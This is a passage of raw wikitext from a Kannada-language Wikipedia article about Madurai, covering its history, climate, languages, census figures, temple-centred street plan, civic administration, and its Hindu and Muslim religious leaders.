|url=http://www.madurai.com/madurai.htm |title=Madurai, Temple Town of South India. Cultural capital of Tamilnadu |publisher=Madurai.com |date= |accessdate=2009-09-23 |archive-date=2009-07-07 |archive-url=https://web.archive.org/web/20090707203249/http://www.madurai.com/madurai.htm |url-status=dead }}</ref>. == ಇತಿಹಾಸ == ಮಧುರೈನ ಇತಿಹಾಸವು ಕ್ರಿಸ್ತ-ಯುಗಕ್ಕೂ ಹಿಂದಿನ ಸಂಗಮ್‌ ಅವಧಿಯಷ್ಟು ಹಳೆಯದು. ಇದು ಪ್ರಾಚೀನ [[ಪಾಂಡ್ಯರ]] [[ತಮಿಳಾಕಮ್‌]] ಸಾಮ್ರಾಜ್ಯದ ಅಧಿಕಾರ ಕೇಂದ್ರವಾಗಿತ್ತು. ಸಂಗಮ್‌ ಅವಧಿಯ ಕವಿ ನಕ್ಕೀರರ್‌ರನ್ನು ಸುಂದರೇಶ್ವರರ್‌‌ನ ತಿರುವಿಲಾಯದಲ್‌ ಉಪಕಥೆಗಳೊಡನೆ ಸಂಬಂಧಿಸಿ ಹೇಳಲಾಗುತ್ತದೆ. ಇವುಗಳನ್ನು ಈಗಲೂ ದೇಗುಲಗಳ ಸಾಂಪ್ರದಾಯಿಕ ಜಾತ್ರೆ/ಉತ್ಸವಗಳಲ್ಲಿ ಇಟ್ಟು ಪೂಜಿಸಲಾಗುತ್ತದೆ<ref name="http://www.madurai.com/history.htm">{{cite web|url=http://www.madurai.com/history.htm |title=History of Madurai |publisher=www.madurai.com |date= |accessdate=2009-09-23}}</ref>. 3ನೇ ಶತಮಾನ BCಯಷ್ಟು ಪ್ರಾಚೀನ ಕಾಲದಲ್ಲಿ [[ಮೆಗಾಸ್ತನೀಸ್‌]] ಮಧುರೈ ನಗರಕ್ಕೆ ಭೇಟಿ ನೀಡಿದ್ದ. ನಂತರ ರೋಮ್‌ ಮತ್ತು ಗ್ರೀಸ್‌ ದೇಶಗಳಿಂದ ಅನೇಕರು ಮಧುರೈಗೆ ಭೇಟಿ ನೀಡಿದ್ದಲ್ಲದೇ ಪಾಂಡ್ಯ ಅರಸರೊಡನೆ ವಾಣಿಜ್ಯ ವ್ಯವಹಾರಗಳನ್ನು ಆರಂಭಿಸಿದ್ದರು. ಪ್ರಾಚೀನ [[ಕುಮಾರಿ ಕಂದಂ]] ಎಂಬ ದಂತಕಥೆ/ಪುರಾಣದ ಪ್ರಕಾರ, ಲೋಕರೂಢಿಯಲ್ಲಿ ''ಥೆನ್‌ಮಧುರೈ'' ಅಥವಾ ''ದಕ್ಷಿಣ ಮಧುರೈ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿದ್ದ ಮೂಲ ಮಧುರೈ ನಗರವನ್ನು [[ತ್ಸುನಾಮಿ/ಸುನಾಮಿ]] ಅಲೆಗಳು ದಾಳಿ ಮಾಡಿ ನಾಶವಾಯಿತು. ಹೊಸದಾಗಿ ಕಟ್ಟಿದ ನಗರವು ಕಡೆಯ ಶತಮಾನದ ಮೊದಲ ಭಾಗದಲ್ಲಿ ಕೊನೆಯ [[ತಮಿಳು ಸಂಗಂ]] ಸಾಮ್ಯಾಜ್ಯಕ್ಕೆ ನೆಲೆಯಾಗಿತ್ತು. ಪ್ರಸಿದ್ಧ ರಾಷ್ಟ್ರಕವಿ [[ಸುಬ್ರಮಣ್ಯ ಭಾರತಿ]]ಯವರು 20ನೇ ಶತಮಾನದ ಮೊದಲ ಭಾಗದಲ್ಲಿ ಸೇತುಪತಿ ಪ್ರೌಢಶಾಲೆಯ [[ತಮಿಳು ಭಾಷಾ]] [[ಪಂಡಿತರಾಗಿ]]/ಶಿಕ್ಷಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದರು. ನೆರೆಯ [[ದಿಂಡಿಗಲ್‌]] ಜಿಲ್ಲೆಯಲ್ಲಿ ವಡಮಧುರೈ ಎಂಬ ಸಣ್ಣ ಪಟ್ಟಣವಿದೆ ಹಾಗೂ ಮತ್ತೊಂದು ನೆರೆಯ ಜಿಲ್ಲೆ ಸಿ/ಶಿವಗಂಗೈನಲ್ಲಿ ಮತ್ತೊಂದು [[ಮನಮಧುರೈ]] ಎಂಬ ಪಟ್ಟಣವಿದೆ. {{climate chart |Madurai |20|30|20 |21|32|13.5 |22.5|35|18 |25|37|55 |26|37|70 |26|36|40 |25|35.5|49.5 |25|35|104 |24|34|119 |24|32|188 |23|30|145 |21|29|51 |source=Nirvana Tour<ref>{{cite web|url=http://www.nirvanatour.de/india/clima.html|title=Temperature and Rainfall chart|publisher=Nirvana Tour|accessdate=2008-05-25|archive-date=2008-12-29|archive-url=https://web.archive.org/web/20081229150410/http://www.nirvanatour.de/india/clima.html|url-status=dead}}</ref> |float=right }} ಪಾಂಡ್ಯ<ref name="http://www.madurai.com/history.htm"/> ರ ಪ್ರಮುಖ ಶತೃಗಳಾದ ಚೋಳರು 10ನೇ ಶತಮಾನ ADಯಲ್ಲಿ ಮಧುರೈಯನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುವವರೆಗೆ ನಗರವು ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯಲ್ಲಿತ್ತು. ಇದೇ ಸಹಸ್ರಮಾನದ ಆರಂಭದಲ್ಲಿ ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯದ ಆಳ್ವಿಕೆಗೆ ಒಳಪಟ್ಟುದದರಿಂದ ಮಧುರೈಯ ವೈಭವವು ತಗ್ಗಿದ ಪ್ರಮಾಣದಲ್ಲಾದರೂ ಮರಳಿತು ಹಾಗೂ ಮಧುರೈಯನ್ನು ನಾಯಕ್‌ ಚಕ್ರವರ್ತಿಗಳು ಆಳುತ್ತಿದ್ದರು, ಇವರಲ್ಲಿ ಪ್ರಥಮರು ತಿರುಮಲೈ ನಾಯಕರ್‌<ref name="http://www.madurai.com/history.htm"/>. == ಭೌಗೋಳಿಕ ಮತ್ತು ಹವಾಮಾನ ವಿವರ == [[ಚಿತ್ರ:Madurai 78.11654E 9.93331N.jpg|thumb|left|ಮಧುರೈ ನಗರ ಪ್ರದೇಶದ ಉಪಗ್ರಹ ನೋಟ]] ಮಧುರೈ ನಗರವು 52&nbsp;km²ದಷ್ಟು ವಿಸ್ತೀರ್ಣ ಹೊಂದಿದ್ದು, ಪ್ರಸ್ತುತ 130&nbsp;km²<ref>{{cite web |url=http://www.madurai.com/general.htm |title=Madurai General Information |publisher= |accessdate=2008-06-15}}</ref> ನಷ್ಟು ನಗರಪ್ರದೇಶವನ್ನು ಒಳಪಡುವಷ್ಟು ವಿಸ್ತಾರವಾಗಿದ್ದು, {{Coord|9.93|N|78.12|E|}}ಯಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ.<ref>{{cite web |url=http://www.fallingrain.com/world/IN/25/Madurai.html |title=Maps, Weather, and Airports for Madurai, India |publisher=Falling Rain Genomics, Inc |accessdate=2008-06-15}}</ref> ಈ ನಗರವು ಸಮುದ್ರ ತಳ ಮಟ್ಟದಿಂದ 101 ಮೀಟರ್‌ಗಳಷ್ಟು ಎತ್ತರದಲ್ಲಿದೆ. ಅಕ್ಟೋಬರ್‌-ಡಿಸೆಂಬರ್ ಅವಧಿಯಲ್ಲಿ [[ಈಶಾನ್ಯ ಮುಂಗಾರಿನ]] ಮಳೆಯೊಂದಿಗೆ ಹವಾಗುಣವು ಒಣ ಹಾಗೂ ಬಿಸಿಯಾಗಿರುತ್ತದೆ. ಬೇಸಿಗೆ ಕಾಲದ ಉಷ್ಣತೆಯು ಗರಿಷ್ಠ 40 ಮತ್ತು ಕನಿಷ್ಠ 26.3 ಡಿಗ್ರಿ ಸೆಲ್ಷಿಯಸ್‌ನಷ್ಟಿದ್ದರೂ 43 ದಿಗ್ರಿಗಳ ಮೇಲಿನ ತಾಪಮಾನವೂ ಅಸಹಜವೇನಲ್ಲ. ಚಳಿಗಾಲ ತಾಪಮಾನವು 29.6ರಿಂದ 18 ಡಿಗ್ರಿ ಸೆಲ್ಷಿಯಸ್‌ವರೆಗೆ ಇರುತ್ತದೆ. ಸರಾಸರಿ ವಾರ್ಷಿಕ ಮಳೆಯ ಪ್ರಮಾಣ 85 cmನಷ್ಟಿರುತ್ತದೆ. == ಭಾಷೆ == ಮಧುರೈನಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತದ ಪ್ರದೇಶಗಳಲ್ಲಿ [[ತಮಿಳು]] ಪ್ರಧಾನ ಭಾಷೆಯಾಗಿದೆ. [[ಮಧುರೈನ ತಮಿಳು]] ಪ್ರಭೇದವು ಇತರೆ [[ತಮಿಳು]] ಪ್ರಭೇದಗಳಾದ [[ಕೊಂಗು ತಮಿಳು]] ಮತ್ತು [[ನೆಲ್ಲೈ ತಮಿಳು]]ಗಳಿಗಿಂತ ಅಲ್ಪ ವ್ಯತ್ಯಾಸ ಹೊಂದಿದೆ. ತಮಿಳಿನೊಂದಿಗೆ ಬಳಕೆಯಲ್ಲಿರುವ ಇತರೆ ಭಾಷೆಗಳೆಂದರೆ [[ಆಂಗ್ಲ]], [[ತೆಲುಗು]], [[ಸೌರಾಷ್ಟ್ರ]] ಹಾಗೂ [[ಉರ್ದು]] ಭಾಷೆಗಳು,. ಆದಾಗ್ಯೂ ಇವುಗಳಲ್ಲಿ ಕೆಲ ಭಾಷೆಗಳ ಪದಗಳು ತಮಿಳು ಪದಗಳನ್ನು ಸೇರಿಸಿಕೊಂಡಿವೆ. == ಜನಸಾಂದ್ರತೆ == 2001ರ ಭಾರತೀಯ [[ಜನಗಣತಿ]]<ref name="census">{{cite web |url=http://www.census.tn.nic.in/pca2001.aspx |title=TN(India)Census within Corporation limit |publisher=Tamil Nadu Census |date= |accessdate=2009-09-24 |archive-date=2009-06-07 |archive-url=https://www.webcitation.org/5hLZ0ljez?url=http://www.census.tn.nic.in/pca2001.aspx |url-status=dead }}</ref> ಯ ಪ್ರಕಾರ, ಮಧುರೈ ನಗರವು ಪೌರಸಂಸ್ಥೆಗಳ ವ್ಯಾಪ್ತಿಯ ಪ್ರದೇಶದಲ್ಲಿ 928,869ರಷ್ಟು ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿದ್ದು, ನಗರ ಪ್ರದೇಶದಲ್ಲಿನ ಜನಸಂಖ್ಯೆ 1,194,665ರಷ್ಟಿದೆ. ಒಟ್ಟು ಜನಸಂಖ್ಯೆಯಲ್ಲಿ 51% ಪುರುಷರೂ ಮತ್ತು 49% ಮಹಿಳೆಯರೂ ಇದ್ದಾರೆ. ಮಧುರೈ ನಗರವು ಸರಾಸರಿ ರಾಷ್ಟ್ರೀಯ ಸಾಕ್ಷರತೆಯ ಪ್ರಮಾಣವಾದ 59.5%ನ್ನೂ ಮೀರಿಸಿ ಸರಾಸರಿ 79%ರಷ್ಟು ಸಾಕ್ಷರತೆ ದರ ಹೊಂದಿದೆ: ಪುರುಷರ ಸಾಕ್ಷರತೆ 84%ರಷ್ಟಿದ್ದರೆ, ಮಹಿಳೆಯರ ಸಾಕ್ಷರತೆ 74%ರಷ್ಟಿದೆ. ಮಧುರೈನಲ್ಲಿ, ಜನಸಂಖ್ಯೆಯ 10%ರಷ್ಟು ಭಾಗ 6 ವರ್ಷದೊಳಗಿನವರಾಗಿದ್ದಾರೆ. ಪ್ರತಿ 1,000 ಪುರುಷರಿಗೆ 968 ಸ್ತ್ರೀಯರಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.tn.gov.in/dear/Women%20empower.pdf|format=PDF|title=Women Development|access-date=2009-12-22|archive-date=2009-03-04|archive-url=https://web.archive.org/web/20090304045935/http://www.tn.gov.in/dear/Women%20empower.pdf|url-status=dead}}</ref> == ವಾಸ್ತು ಶಿಲ್ಪ == [[ಚಿತ್ರ:Vaigai-MDU.jpg|thumb|right|ವೈಗೈ ನದಿಯ ಒಂದು ನೋಟ]] ಮಧುರೈ ನಗರವನ್ನು ಮೀನಾಕ್ಷಿ ಸುಂದರೇಶ್ವರರ್‌ ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದು ಕಟ್ಟಲಾಗಿದೆ. ಬ್ರಹ್ಮಾಂಡದ ರಚನೆಯನ್ನು ಸಂಕೇತಿಸುವಂತೆ ಕೇಂದ್ರಿತ ಚತುಷ್ಕೋನಾಕೃತಿ ರಸ್ತೆಗಳು ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದಿವೆ. ಇಡೀ ನಗರವನ್ನು [[ಕಮಲ]]ದ<ref name="http://www.madurai.com/history.htm"/> ಹೂವಿನ ಆಕೃತಿಯಲ್ಲಿ ಕಟ್ಟಲಾಗಿದೆ. ಚೌಕಾಕಾರದ ರಸ್ತೆಗಳಲ್ಲಿ ಕೆಲವು ರಸ್ತೆಗಳಿಗೆ ತಮಿಳು ತಿಂಗಳುಗಳ ಹೆಸರನ್ನಿಡಲಾಗಿದೆ. ಮೀನಾಕ್ಷಿ ದೇಗುಲವನ್ನು ಸುತ್ತುವರೆದಿರುವ ಆರು ಪ್ರಮುಖ ಚೌಕಾಕಾರದ ರಸ್ತೆಗಳೆಂದರೆ ಆದಿ,ಚಿತಿರೈ,ಆವನಿ ಮೂಲಾ,ಮಾಸಿ,ಮಾರತ್‌ ಮತ್ತು ವೇಲಿ ರಸ್ತೆಗಳು. == ಪೌರಾಡಳಿತ == ಇಡೀ ಮಧುರೈ ಜಿಲ್ಲೆಯು ಮಧುರೈ ಜಿಲ್ಲಾಧಿಕಾರಿಗಳ ಆಡಳಿತಕ್ಕೊಳಪಟ್ಟಿದೆ ಹಾಗೂ ನಗರಸಭೆಯ ಪರಿಧಿಯಲ್ಲಿನ ಪ್ರದೇಶಗಳು ಮಧುರೈ [[ನಗರಸಭೆ]]ಯ ಆಡಳಿತಕ್ಕೊಳಪಟ್ಟಿವೆ. 1971ರಲ್ಲಿ ಚೆನ್ನೈ <ref>{{cite web |url=http://203.101.40.168/newmducorp/aboutus.htm |title=Welcome to Madurai Corporation - All About Madurai Corporation |publisher=203.101.40.168 |date= |accessdate=2009-09-23 |archive-date=2009-02-13 |archive-url=https://web.archive.org/web/20090213062200/http://203.101.40.168/newmducorp/aboutus.htm |url-status=dead }}</ref> ನಂತರ ರಚಿಸಲಾದ ಎರಡನೇ ನಗರಸಭೆಯಾಗಿತ್ತು. ಈ ನಗರಸಭೆಯು ಅಭಿವೃದ್ಧಿ ಕೆಲಸಗಳನ್ನು ಉತ್ತಮ ರೀತಿಯಲ್ಲಿ ಕೈಗೊಂಡಿದ್ದಕ್ಕಾಗಿ 2008ನೇ ಸಾಲಿನ ಅನೇಕ ರಾಷ್ಟ್ರೀಯ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಪಡೆದಿದೆ <ref name="award">{{cite news |url=http://www.hindu.com/2008/12/09/stories/2008120960120600.htm |title=Madurai Corporation bags three national awards |publisher=The Hindu |date=2008-12-09 |accessdate=2009-09-24 |archive-date=2008-12-12 |archive-url=https://web.archive.org/web/20081212155251/http://www.hindu.com/2008/12/09/stories/2008120960120600.htm |url-status=dead }}</ref>. ಅಲ್ಲಿನ ಮೇಯರ್‌/ನಗರಸಭಾದ್ಯಕ್ಷರು ಪುರಸಭೆಯ ಶಾಲಾ ಮಂಡಳಿ, ನಗರ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆ, ಪುರಸಭೆಯ ಆಸ್ಪತ್ರೆ ಮತ್ತು ನಗರದ ಗ್ರಂಥಾಲಯಗಳ ದೈನಂದಿನ ಚಟುವಟಿಕೆಗಳಿಗೆ ಬಾಧ್ಯಸ್ಥರಾಗಿರುತ್ತಾರೆ. ನಗರವು [[ಮಧುರೈ ಜಿಲ್ಲಾ]] ಕೇಂದ್ರವಾಗಿ ಹಾಗೂ [[ಮದ್ರಾಸ್‌ ಉಚ್ಚನ್ಯಾಯಾಲಯ]]ದ ಮಧುರೈ ಪ್ರಾಂತ್ಯದ ಪೀಠವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ಉಚ್ಚನ್ಯಾಯಾಲಯದ ಪೀಠವು 24-07-2004ರಿಂದ ಜಾರಿಗೆ ಬರುವಂತೆ [[ಕನ್ಯಾಕುಮಾರಿ]], [[ತಿರುನಲ್ವೇಲಿ]], [[ತೂತುಕುಡಿ]], ಮಧುರೈ, [[ದಿಂಡಿಗಲ್‌]], [[ರಾಮನಾಥಪುರಂ]], [[ವಿರುಧುನಗರ್]]‌, [[ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ]], [[ಪುದುಕ್ಕೊಟ್ಟೈ]], [[ತಂಜಾವೂರು]], [[ತಿರುಚಿರಾಪಳ್ಳಿ/ತಿರುಚಿನಾಪಳ್ಳಿ]] ಮತ್ತು [[ಕರೂರು]]<ref>{{cite web |url=http://www.hcmadras.tn.nic.in/mduhist.htm |title=Madras High Court |publisher=Hcmadras.tn.nic.in |date=2004-07-24 |accessdate=2009-09-23 |archive-date=2009-08-23 |archive-url=https://web.archive.org/web/20090823042805/http://www.hcmadras.tn.nic.in/mduhist.htm |url-status=dead }}</ref> ಜಿಲ್ಲೆಗಳ ಕಾರ್ಯವ್ಯಾಪ್ತಿಯನ್ನು ಹೊಂದಿದೆ. ನಗರದಲ್ಲಿ ಪಾಸ್‌ಪೋರ್ಟ್‌ ಕಛೇರಿಯಿದೆ ಮತ್ತು ಮಧುರೈ, ಥೇಣಿ, ಶಿವಗಂಗೆ/ಶಿವಗಂಗಾ, ವಿರುಧುನಗರ್‌, ರಾಮನಾಥಪುರಂ, ತೂತುಕುಡಿ, ತಿರುನಲ್ವೇಲಿ, ಕನ್ಯಾಕುಮಾರಿ & ದಿಂಡಿಗಲ್‌‌/ದಿಂಡುಗಲ್‌ ಜಿಲ್ಲೆಗಳು ಇದರ ಕಾರ್ಯವ್ಯಾಪ್ತಿಗೆ ಒಳಪಡುತ್ತವೆ <ref>{{cite web|url=http://passport.gov.in/madurai.html |title=:: Welcome to Passport Office Madurai :: |publisher=Indian Passports |date= |accessdate=2009-09-24}}</ref>. ನಗರವು ಉದ್ಯೋಗ ಮಾಹಿತಿ ಕಚೇರಿಯನ್ನು ಸಹಾ ಹೊಂದಿದ್ದು, [[ಮಧುರೈ ಜಿಲ್ಲೆ]]ಯ ಶಿಕ್ಷಿತ ಅಭ್ಯರ್ಥಿಗಳು ತಮ್ಮ ಶೈಕ್ಷಣಿಕ ದಾಖಲೆಗಳೊಂದಿಗೆ ತಮಿಳುನಾಡು ಸರ್ಕಾರದ ಉದ್ಯೋಗಾವಕಾಶಗಳಿಗಾಗಿ ನೋಂದಣಿ ಮಾಡಿಸುತ್ತಾರೆ. ಇದೇ ಕಚೇರಿಯು [[ತಮಿಳುನಾಡಿ]]ನ ಎಲ್ಲಾ ದಕ್ಷಿಣ ಜಿಲ್ಲೆಗಳ ಹಾಗೂ ಕೆಲ ಪಶ್ಚಿಮ ಜಿಲ್ಲೆಗಳ ದಕ್ಷಿಣ ಸ್ನಾತಕೋತ್ತರ ಪದವೀಧರರ ಮತ್ತು ವೃತ್ತಿಪರ ಪದವೀಧರರ ನೋಂದಣಿ ಕೇಂದ್ರವಾಗಿ ಸಹಾ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. == ಮಧುರೈನ ಧಾರ್ಮಿಕ ಮುಖ್ಯಸ್ಥರು == ಅತ್ಯಂತ ಪ್ರಾಚೀನ ಜನವಸತಿಯ ನಗರವಾಗಿರುವ ಕಾರಣ, ಮಧುರೈ ನಗರವು ತನ್ನ ವೈವಿಧ್ಯಮಯ ಸಂಸ್ಕೃತಿ <ref>{{Cite web |url=http://www.hindu.com/2007/11/27/stories/2007112760020300.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-08-08 |archive-date=2008-04-16 |archive-url=https://web.archive.org/web/20080416223435/http://www.hindu.com/2007/11/27/stories/2007112760020300.htm |url-status=dead }}</ref> ಮತ್ತು ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕೆ ಪ್ರಸಿದ್ಧವಾಗಿದೆ. '''''ಮುಮ್ಮದ ತಲೈವರ್‌ಗಳ್'' ''' ‌(ಮೂರು ಧರ್ಮಗಳ ಮುಖಂಡರು) ಎಂಬ ಪ್ರಸಿದ್ಧ ಹೆಸರಿನಿಂದ ಕರೆಯಲಾಗುವ ಮೂರು ಮಂದಿ ಧಾರ್ಮಿಕ ಮುಖಂಡರು ಮಧುರೈಯನ್ನು ಶಾಂತಿಯಿಂದಿರಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತಿರುತ್ತಾರೆ. === ಆಧೀನಮ್‌‌ === [[ತಿರುಜ್ಞಾನ ಸಂಬಾಂತರ್‌]] ಅವಧಿಯಲ್ಲಿ ರಚಿಸಲಾದ ಭಾರತದಲ್ಲಿಯೇ ಅತ್ಯಂತ ಹಳೆಯದಾದ [[ಮಠ]]ಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಇದರ ಸ್ಥಾಪನೆಯ ಕಾಲದಿಂದಲೇ ಬಹಳ ಸ್ಥಿರಾಸ್ಥಿಗಳನ್ನು ದಾನವಾಗಿ ನೀಡಲಾಗಿದೆ. ಮಧುರೈ ಆಧೀನಮ್‌ನ ಐತಿಹ್ಯವು '''1300 ವರ್ಷಗಳ''' ಷ್ಟು ಹಳೆಯದಾದುದು ಹಾಗೂ [[ತಿರುಜ್ಞಾನ ಸಂಬಾಂತರ್‌]]ರು ಮಧುರೈ ಆಧೀನಮ್‌ನ 1ನೇ ಮಗಾ/ಮಹಾ ಸನ್ನಿಧಾನಂ ಆಗಿದ್ದರು. ಮಧುರೈನ ಆಧೀನಮ್‌ ಮಠದ ಮುಖಂಡತ್ವವನ್ನು/ಮುಖ್ಯಸ್ಥ ಸ್ಥಾನವನ್ನು ಗುರು ಮಗಾ/ಮಹಾ ಸನ್ನಿಧಾನಮ್‌ರವರು ವಹಿಸಿರುತ್ತಾರೆ. ಶೈವ ಪಂಥಕ್ಕೆ ಸೇರಿದ್ದರೂ ಆಧೀನಮ್‌ರನ್ನು ಮಧುರೈನ ಎಲ್ಲಾ ಶೈವರು ಹಾಗೂ ವೈಷ್ಣವ ಹಿಂದೂಗಳ ಧಾರ್ಮಿಕ ಮುಖಂಡರನ್ನಾಗಿ ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. '''ಗುರು ಮಗಾ ಸನ್ನಿಧಾನಂರಾದ ಅರುಣಾಚಲಂ ಸ್ವಾಮಿ''' ಯವರು ಪ್ರಸ್ತುತ ಆಧೀನಂರಾಗಿರುವ ತಮ್ಮ ವಂಶಾವಳಿಯ 292ನೇ ಆಧೀನಂರಾಗಿದ್ದಾರೆ. ಪ್ರಸಕ್ತ ಆಧೀನಂರು ವೇದಗಳು, ಕುರಾನ್‌‌ ಮತ್ತು ಬೈಬಲ್‌ಗಳಲ್ಲಿ ಪಾರಂಗತರಾಗಿದ್ದಾರೆ. [[ಹಿಂದೂ]] ಧರ್ಮಕ್ಕೆ ಸೇರಿದ ಎಲ್ಲಾ ಪ್ರಮುಖ ಹಬ್ಬಗಳು/ಉತ್ಸವಗಳಲ್ಲಿ ಭಾಗವಹಿಸುವ ಆಧೀನಂರು ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯದ ಸಭೆಗಳಲ್ಲಿ ಕೂಡಾ ಭಾಗವಹಿಸುತ್ತಾರೆ. ನಗರದಲ್ಲಿ ನಡೆಯುವ ಕುಂಭಾಭಿಷೇಕಗಳು, ಮೀನಾಕ್ಷಿ-ಷೊಕ್ಕರ್‌ ವಿವಾಹಮಹೋತ್ಸವ, [[ವೈಗೈ]]ಗೆ ಅಜಗರ್‌ನ ಪ್ರವೇಶ ಹಾಗೂ ಇನ್ನಿತರ ಹಿಂದೂ ಮಹೋತ್ಸವಗಳಲ್ಲಿ ಆಧೀನಮ್‌ರ ಮುಖಂಡತ್ವದಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ಪ್ರಸಕ್ತ ಆಧೀನಂರು ತಮ್ಮ ಜೀವಿತಾವಧಿಯಲ್ಲಿಯೇ ತಮ್ಮ ಉತ್ತರಾಧಿಕಾರಿಯನ್ನು ನೇಮಕ ಮಾಡುತ್ತಾರೆ, ಹಾಗೆ ನೇಮಕರಾದವರು ಅವರ ನಂತರ ಅಧಿಕಾರ ಪಡೆಯುತ್ತಾರೆ. === ಖಾಜಿ/ಖಾಝಿಯಾರ್‌‌ === ಮಧುರೈನಲ್ಲಿ ಖಾಝಿ ಎಂದರೆ [[ಮುಸ್ಲಿಮರ]] ಧಾರ್ಮಿಕ ಮುಖಂಡ ಹಾಗೂ ನ್ಯಾಯಾಧೀಶರನ್ನು [[ತಮಿಳುನಾಡು]] ಸರಕಾರವು ನೇಮಿಸುತ್ತದೆ. ಮಧುರೈನಲ್ಲಿನ ಖಾಜಿಗಳ ಐತಿಹ್ಯವು '''750 ವರ್ಷಗಳಷ್ಟು''' ಹಳೆಯದು. ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ರು ಆಗಿನ ಸುಲ್ತಾನರ ಸರ್ಕಾರದ 1ನೇ ಖಾಝಿ/ಜಿಯಾಗಿದ್ದರು. ಮಧುರೈನಲ್ಲಿ [[ತಮಿಳುನಾಡು]] ಸರ್ಕಾರದ ಮೂಲಕ ಇಂದಿಗೂ ಆತನ ವಂಶಸ್ಥರನ್ನೇ ಖಾಜಿಯನ್ನಾಗಿ ನೇಮಿಸಲಾಗುತ್ತದೆ. ಹಝರತ್‌ ಮೌಲಾನಾ ಮೌಲ್ವಿ, ಮೀರ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ ರಹಮುತುಲ್ಲಾಹಿ ಅಲೈಹಿ, (ಮಧುರೈನ [[ಮಕಬರಾ]] ಹಝರತ್‌ಗಳಲ್ಲಿ ಮೊದಲನೆಯವರು), ಮೌಲಾನಾ ಆಗಿದ್ದ ಸೈಯೆದ್‌ ಅಬ್ದುಲ್‌ ಖಾದಿರ್‌ ಇಬ್ರಾಹಿಂ, ಮೌಲ್ವಿಯವರಾದ ಸೈಯೆದ್‌ ಅಮ್ಜದ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ ಮತ್ತು ಮೌಲ್ವಿಯವರಾದ ಸೈಯೆದ್‌ ಅಬ್ದುಸ್‌‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಹಿಬ್‌ ಹಝರತ್‌ರವರುಗಳು ತಮ್ಮ ಅವಧಿಯಲ್ಲಿ ಸರಕಾರದ ಪರವಾಗಿ ಗಣನೀಯ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ<ref>{{cite web|url=http://www.shazuli.com/aboutus.html |title=Fassiyathush Shazuliya &#124; tariqathush Shazuliya &#124; Tariqa Shazuliya &#124; Sufi Path &#124; Sufism &#124; Zikrs &#124; Avradhs &#124; Daily Wirdh &#124; Thareeqush shukr &#124;Kaleefa's of the tariqa &#124; Sheikh Fassy &#124; Ya Fassy &#124; Sijl &#124; Humaisara &#124; Muridheens &#124; Prostitute Entering Paradise |publisher=Shazuli.com |date=2007-04-02 |accessdate=2009-09-23}}</ref>. ನಗರದ ಖಾಜಿಯಾರ್‌, ಖಾಜಿಸಾಬ್‌, ನಗರದ ಖಾಜಿಸಾಬ್‌ etc. ಎಂದೆಲ್ಲಾ ಜನರಿಂದ ಪ್ರೀತಿಪೂರ್ವಕವಾಗಿ ಕರೆಯಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದ [http://www.themadurai.info ಮಧುರೈ] {{Webarchive|url=https://web.archive.org/web/20181216163332/https://themadurai.info/ |date=2018-12-16 }} ನ 19ನೇ ಖಾಜಿಯಾರ್‌ ಆದ ಸೈಯೆದ್‌ ಅಬ್ದುಸ್‌‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂರವರು ತಮ್ಮ ಸರಳತೆ ಹಾಗೂ ನಗರದ ಮುಸ್ಲಿಮರ ಸಾರಸ್ವತ/ಸಾಹಿತ್ಯಿಕ/ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಆರ್ಥಿಕ ಔನ್ನತ್ಯಕ್ಕಾಗಿ ಶ್ರಮಿಸಿದುದಕ್ಕಾಗಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ. ಮಧುರೈನ ಪ್ರಸ್ತುತ ಖಾಜಿಯಾರ್‌ '''ಮೌಲ್ವಿ.''' '''A.ಸೈಯೆದ್‌ ಖಾಜಾ ಮೊಯಿ/ಮುಯಿನುದ್ದೀನ್‌''' ರು ಮಧುರೈನ ಖಾಜಿಯಾರ್‌ಗಳ ವಂಶಾವಳಿಯಲ್ಲಿ 20ನೆಯವರು, ಇವರು ಆಧೀನಂರಾದ ಕುಂದ್ರಕ್ಕುಡಿ ಅಡಿಗಳಾರ್‌ ಮತ್ತು ಆರ್ಚ್‌ ಬಿಷಪ್‌ರೊಡನೆ ಮಧುರೈನಲ್ಲಿನ ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕಾಗಿ ನಡೆಸುತ್ತಿರುವ ಚಟುವಟಿಕೆಗಳಿಗಾಗಿ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ. ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯತೆಗಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸುವುದಲ್ಲದೇ ಪ್ರಸಕ್ತ ಖಾಜಿಯಾರ್‌ರು ಬಡಾವಣೆಗಳಲ್ಲಿನ ಮುಸ್ಲಿಮರ ರಾಜಕೀಯ ಅಭ್ಯುದಯಕ್ಕಾಗಿ ಸಹಾ ಟೊಂಕಕಟ್ಟಿದ್ದಾರೆ. ಅರಸರದಿಯ 